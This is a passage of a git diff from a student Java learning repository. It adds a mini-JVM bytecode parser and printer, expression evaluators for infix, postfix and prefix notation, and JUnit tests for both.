+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintVisitor.java
@@ -0,0 +1,23 @@
+package me.lzb.jvm.print;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.*;
+
+/**
+ * Created by LZB on 2017/4/23.
+ */
+public interface PrintVisitor {
+    public void visitBasicMsg(ClassFile info);
+
+    public void visitClassInfo(ClassInfo info);
+
+    public void visitFieldRef(FieldRefInfo info);
+
+    public void visitMethodRef(MethodRefInfo info);
+
+    public void visitNameAndType(NameAndTypeInfo info);
+
+    public void visitString(StringInfo info);
+
+    public void visistUTF8(UTF8Info info);
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/test/java/me/lzb/jvm/ClassFileloaderTest.java b/group24/1148285693/learning2017/mini-jvm/src/test/java/me/lzb/jvm/ClassFileloaderTest.java
index f41b313c97..b4adbcf888 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/test/java/me/lzb/jvm/ClassFileloaderTest.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/test/java/me/lzb/jvm/ClassFileloaderTest.java
@@ -3,10 +3,15 @@
 import me.lzb.common.utils.ByteUtils;
 import me.lzb.jvm.clz.ClassFile;
 import me.lzb.jvm.clz.ClassIndex;
+import me.lzb.jvm.cmd.BiPushCmd;
+import me.lzb.jvm.cmd.ByteCodeCommand;
+import me.lzb.jvm.cmd.OneOperandCmd;
+import me.lzb.jvm.cmd.TwoOperandCmd;
 import me.lzb.jvm.constant.*;
 import me.lzb.jvm.field.Field;
 import me.lzb.jvm.loader.ClassFileLoader;
 import me.lzb.jvm.method.Method;
+import me.lzb.jvm.print.ClassPrinter;
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
@@ -20,13 +25,11 @@ public class ClassFileloaderTest {
 
 
     static String path1 = EmployeeV1.class.getResource("/").getPath();
-//    static String path1 = "D:\\code\\learning\\coding2017\\group24\\1148285693\\learning2017\\mini-jvm\\target\\test-classes\\";
     static String path2 = "C:\\temp";
 
     static String className = "me.lzb.jvm.EmployeeV1";
 
     private static final String FULL_QUALIFIED_CLASS_NAME = "me/lzb/jvm/EmployeeV1";
-//    private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 
 
     @Before
@@ -43,8 +46,8 @@ public void testPath() {
 
         String s = EmployeeV1.class.getResource("/").getPath();
         String s2 = EmployeeV1.class.getResource("").getPath();
-        System.out.println(s);
-        System.out.println(s2);
+//        System.out.println(s);
+//        System.out.println(s2);
 
     }
 
@@ -266,4 +269,88 @@ private void assertMethodEquals(ConstantPool pool, Method m, String expectedName
         Assert.assertEquals(expectedCode, code);
     }
 
+    /**
+     * 第四次JVM
+     */
+
+
+    @Test
+    public void testByteCodeCommand() {
+        {
+            Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+            ByteCodeCommand[] cmds = initMethod.getCmds();
+
+            assertOpCodeEquals("0: aload_0", cmds[0]);
+            assertOpCodeEquals("1: invokespecial #1", cmds[1]);
+            assertOpCodeEquals("4: aload_0", cmds[2]);
+            assertOpCodeEquals("5: aload_1", cmds[3]);
+            assertOpCodeEquals("6: putfield #2", cmds[4]);
+            assertOpCodeEquals("9: aload_0", cmds[5]);
+            assertOpCodeEquals("10: iload_2", cmds[6]);
+            assertOpCodeEquals("11: putfield #3", cmds[7]);
+            assertOpCodeEquals("14: return", cmds[8]);
+        }
+
+        {
+            Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+            ByteCodeCommand[] cmds = setNameMethod.getCmds();
+
+            assertOpCodeEquals("0: aload_0", cmds[0]);
+            assertOpCodeEquals("1: aload_1", cmds[1]);
+            assertOpCodeEquals("2: putfield #2", cmds[2]);
+            assertOpCodeEquals("5: return", cmds[3]);
+
+        }
+
+        {
+            Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+            ByteCodeCommand[] cmds = sayHelloMethod.getCmds();
+
+            assertOpCodeEquals("0: getstatic #4", cmds[0]);
+            assertOpCodeEquals("3: ldc #5", cmds[1]);
+            assertOpCodeEquals("5: invokevirtual #6", cmds[2]);
+            assertOpCodeEquals("8: return", cmds[3]);
+
+        }
+
+        {
+            Method mainMethod = this.clzFile.getMainMethod();
+
+            ByteCodeCommand[] cmds = mainMethod.getCmds();
+
+            assertOpCodeEquals("0: new #7", cmds[0]);
+            assertOpCodeEquals("3: dup", cmds[1]);
+            assertOpCodeEquals("4: ldc #8", cmds[2]);
+            assertOpCodeEquals("6: bipush 29", cmds[3]);
+            assertOpCodeEquals("8: invokespecial #9", cmds[4]);
+            assertOpCodeEquals("11: astore_1", cmds[5]);
+            assertOpCodeEquals("12: aload_1", cmds[6]);
+            assertOpCodeEquals("13: invokevirtual #10", cmds[7]);
+            assertOpCodeEquals("16: return", cmds[8]);
+        }
+
+    }
+
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd) {
+
+        String acctual = cmd.getOffset() + ": " + cmd.getReadableCodeText();
+
+        if (cmd instanceof OneOperandCmd) {
+            if (cmd instanceof BiPushCmd) {
+                acctual += " " + ((OneOperandCmd) cmd).getOperand();
+            } else {
+                acctual += " #" + ((OneOperandCmd) cmd).getOperand();
+            }
+        }
+        if (cmd instanceof TwoOperandCmd) {
+            acctual += " #" + ((TwoOperandCmd) cmd).getIndex();
+        }
+        Assert.assertEquals(expected, acctual);
+    }
+
+    @Test
+    public void testPrint() {
+        ClassPrinter classPrinter = new ClassPrinter(clzFile);
+        classPrinter.print();
+    }
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixExpr.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixExpr.java
index 1e597a2b24..87344ca452 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixExpr.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixExpr.java
@@ -33,7 +33,7 @@ private void manageMultiAndDivOper(String[] elements,Stack numStack,Stack operSt
 					preElement = (Float)numStack.pop();
 					i++;
 					nextElement = Float.valueOf(elements[i]);
-					numStack.push(doBaseOper(preElement,nextElement,elements[i-1]));
+					numStack.push(Token.doBaseOper(preElement,nextElement,elements[i-1]));
 				}
 			}
 		}
@@ -42,27 +42,12 @@ private void manageMultiAndDivOper(String[] elements,Stack numStack,Stack operSt
 	private float manageAddAndMinusOper(Stack numStack,Stack operStack){
 		float result = 0f;;
 		while(!operStack.isEmpty()){
-			result = doBaseOper(result,(Float)numStack.pop(),(String)operStack.pop());
+			result = Token.doBaseOper(result,(Float)numStack.pop(),(String)operStack.pop());
 		}
 		result += (Float)numStack.pop();
 		return result;
 	}
 	
-	private float doBaseOper(float preData,float nextData,String oper){
-		switch(oper){
-			case "+":
-				return preData+nextData;
-			case "-":
-				return preData-nextData;
-			case "*":
-				return preData*nextData;
-			case "/":
-				return preData/nextData;
-			default:
-				throw new RuntimeException("could not recognise oper:"+oper);
-		}
-	}
-	
 	public String[] getElementArray(String expression){
 		char[] charArray = expression.toCharArray();
 		StringBuffer stringBuffer = new StringBuffer();
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfix.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..d444fef039
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,67 @@
+package com.github.ipk2015.coding2017.basic.stack.expr;
+
+
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		int len = expr.length();
+		char c,temp;
+		Stack stack = new Stack();
+		StringBuffer buffer = new StringBuffer();
+		for(int i = 0;i<len;i++){
+			c = expr.charAt(i);
+			if(Character.isDigit(c)){
+				buffer.append(c);   //数字字符直接放进buffer里
+			}else{
+				buffer.append(" ");
+				if('(' == c){
+					stack.push(c);  // ( 时先放进字符栈里
+				}else if(')' == c){	// ) 时将栈里到上一个(之间的字符全部压出到buffer里
+					temp = (Character)stack.pop();
+					while(temp!='('){
+						buffer.append(temp);
+						temp = (Character)stack.pop();
+					};
+				}else{		//四个运算符时,
+					while(!shouldPush(c,stack)){
+						buffer.append((Character)stack.pop());
+					}
+					stack.push(c);
+				}
+			}
+		}
+		while(!stack.isEmpty()){
+			buffer.append((Character)stack.pop());
+		}
+		TokenParser parser = new TokenParser();
+		return parser.parse(buffer.toString());
+	}
+	/*
+	 * 比较该运算符与临时栈栈顶指针的运算符的优先级，如果临时栈栈顶指针的优先级大于等于该运算符的优先级，
+	 * 弹出并添加到后缀表达式中，反复执行前面的比较工作，直到遇到一个栈顶指针的优先级低于该运算符的优先级，
+	 * 停止弹出添加并把该运算符压入栈中。
+	 * 此时的比较过程如果出现栈顶的指针为‘（’，则停止循环并把该运算符压入栈中
+	 * 
+	 */
+	private static boolean shouldPush(char c,Stack stack){
+		if(stack.isEmpty()){
+			return true;
+		}
+		char peek = (Character)stack.peek();
+		if(peek == '('){
+			return true;
+		}
+		if((c == '*' || c == '/') && (peek == '+' || peek == '-')){
+			return true;
+		}
+		return false;
+	}
+	
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfixTest.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..972eef9fe5
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfixTest.java
@@ -0,0 +1,32 @@
+package com.github.ipk2015.coding2017.basic.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class InfixToPostfixTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void testConvert() {
+		List<Token> tokens  = InfixToPostfix.convert("3+(2-5)*6/3");
+		
+		Assert.assertEquals(3, tokens.get(0).getIntValue());
+		Assert.assertEquals(2, tokens.get(1).getIntValue());
+		Assert.assertEquals(5, tokens.get(2).getIntValue());
+		Assert.assertEquals("-", tokens.get(3).toString());
+		Assert.assertEquals(6, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(3, tokens.get(6).getIntValue());
+		Assert.assertEquals("/", tokens.get(7).toString());
+		Assert.assertEquals("+", tokens.get(8).toString());
+	}
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExpr.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..af427fa948
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,35 @@
+package com.github.ipk2015.coding2017.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> list = parser.parse(expr);
+		
+		Stack stack = new Stack();
+		int len = list.size();
+		float preNum,afterNum;
+		Token token;
+		for(int i = 0;i<len;i++){
+			token = list.get(i);
+			if(token.isNumber()){
+				stack.push(Float.valueOf(token.toString()));
+			}else{
+				afterNum = (Float)stack.pop();
+				preNum = (Float)stack.pop();
+				stack.push(Token.doBaseOper(preNum, afterNum, token.toString()));
+			}
+		}
+		return (Float)stack.pop();
+	}
+	
+	
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExprTest.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..8b2bbc1f42
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.github.ipk2015.coding2017.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExpr.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..b978cd2bf1
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,36 @@
+package com.github.ipk2015.coding2017.basic.stack.expr;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> list = parser.parse(expr);
+		
+		Stack stack = new Stack();
+		int len = list.size();
+		float preNum,afterNum;
+		Token token;
+		for(int i = 0;i<len;i++){
+			token = list.get(len-i-1);
+			if(token.isNumber()){
+				stack.push(Float.valueOf(token.toString()));
+			}else{
+				preNum = (Float)stack.pop();
+				afterNum = (Float)stack.pop();
+				stack.push(Token.doBaseOper(preNum, afterNum, token.toString()));
+			}
+		}
+		return (Float)stack.pop();
+	}
+	
+	
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExprTest.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..a922cf8191
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,44 @@
+package com.github.ipk2015.coding2017.basic.stack.expr;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/Token.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..3d8d773c79
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/Token.java
@@ -0,0 +1,64 @@
+package com.github.ipk2015.coding2017.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	public static float doBaseOper(float preData,float nextData,String oper){
+		switch(oper){
+			case "+":
+				return preData+nextData;
+			case "-":
+				return preData-nextData;
+			case "*":
+				return preData*nextData;
+			case "/":
+				return preData/nextData;
+			default:
+				throw new RuntimeException("could not recognise oper:"+oper);
+		}
+	}
+	
+
+}
\ No newline at end of file
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParser.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..998d1e4c8e
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package com.github.ipk2015.coding2017.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParserTest.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..2543baec60
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.github.ipk2015.coding2017.basic.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/CodeAttr.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/CodeAttr.java
index 2f141a20a3..c4455c6b2a 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/CodeAttr.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/CodeAttr.java
@@ -1,6 +1,9 @@
 package com.github.ipk2015.coding2017.minijvm.attr;
 
 import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.cmd.ByteCodeCommand;
+import com.github.ipk2015.coding2017.minijvm.cmd.CommandParser;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
 import com.github.ipk2015.coding2017.minijvm.loader.ByteCodeIterator;
 
 public class CodeAttr extends AttributeInfo {
@@ -12,21 +15,21 @@ public String getCode() {
 		return code;
 	}
 
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
 	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
-		//this.cmds = cmds;
+		this.cmds = cmds;
 	}
 
 	public void setLineNumberTable(LineNumberTable t) {
@@ -44,7 +47,10 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		int maxLocals = iter.nextUNToInt(2); 
 		int codeLen = iter.nextUNToInt(4);
 		String code = iter.nextUNToHexString(codeLen);
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen,maxStack,maxLocals,codeLen,code);
+		
+		ByteCodeCommand[] commands = CommandParser.parse(clzFile, code);
+		
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen,maxStack,maxLocals,codeLen,code,commands);
 		int exceptionTableLen = iter.nextUNToInt(2);
 		if(exceptionTableLen != 0){
 			throw new RuntimeException("code属性里的异常table长度为："+exceptionTableLen);
@@ -78,7 +84,17 @@ private static void addSonAttr(ClassFile clzFile,CodeAttr codeAttr,ByteCodeItera
 		}
 	}
 
-	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
 	
 	
 	
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LineNumberTable.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LineNumberTable.java
index 42875581bd..b1c1245a5a 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LineNumberTable.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LineNumberTable.java
@@ -48,6 +48,16 @@ public static LineNumberTable parse(ByteCodeIterator iter){
 		return lineNumberTable;
 	}
 	
-	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
 
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LocalVariableTable.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LocalVariableTable.java
index d8c3563b2b..a54ac24443 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LocalVariableTable.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/attr/LocalVariableTable.java
@@ -4,7 +4,7 @@
 import java.util.ArrayList;
 import java.util.List;
 
-
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
 import com.github.ipk2015.coding2017.minijvm.loader.ByteCodeIterator;
 
 
@@ -36,6 +36,17 @@ public static LocalVariableTable parse(ByteCodeIterator iter){
 	private void addLocalVariableItem(LocalVariableItem item) {
 		this.items.add(item);		
 	}
-	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
 	
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/clz/ClassFile.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/clz/ClassFile.java
index 5cecfc3bff..3a267144af 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/clz/ClassFile.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/clz/ClassFile.java
@@ -5,6 +5,7 @@
 
 import com.github.ipk2015.coding2017.minijvm.constant.ClassInfo;
 import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+import com.github.ipk2015.coding2017.minijvm.constant.UTF8Info;
 import com.github.ipk2015.coding2017.minijvm.field.Field;
 import com.github.ipk2015.coding2017.minijvm.method.Method;
 
@@ -80,13 +81,28 @@ public void print(){
 		
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+public Method getMethod(String methodName, String paramAndReturnType){
+		List<Method> list = getMethods();
+		for(Method m : list){
+			String name = ((UTF8Info)pool.getConstantInfo(m.getNameIndex())).getValue();
+			String desc = ((UTF8Info)pool.getConstantInfo(m.getDescriptorIndex())).getValue();
+			if(name.equalsIgnoreCase(methodName) && desc.equalsIgnoreCase(paramAndReturnType)){
+				return m;
+			}
+		}
+		return null;
+	}
+	public Method getMainMethod(){
+//		 main:([Ljava/lang/String;)V
+		return getMethod("main","([Ljava/lang/String;)V");
+	}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/BiPushCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..80d3076ea1
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/BiPushCmd.java
@@ -0,0 +1,21 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/ByteCodeCommand.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..f2c72d31f1
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,132 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantInfo;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+
+
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
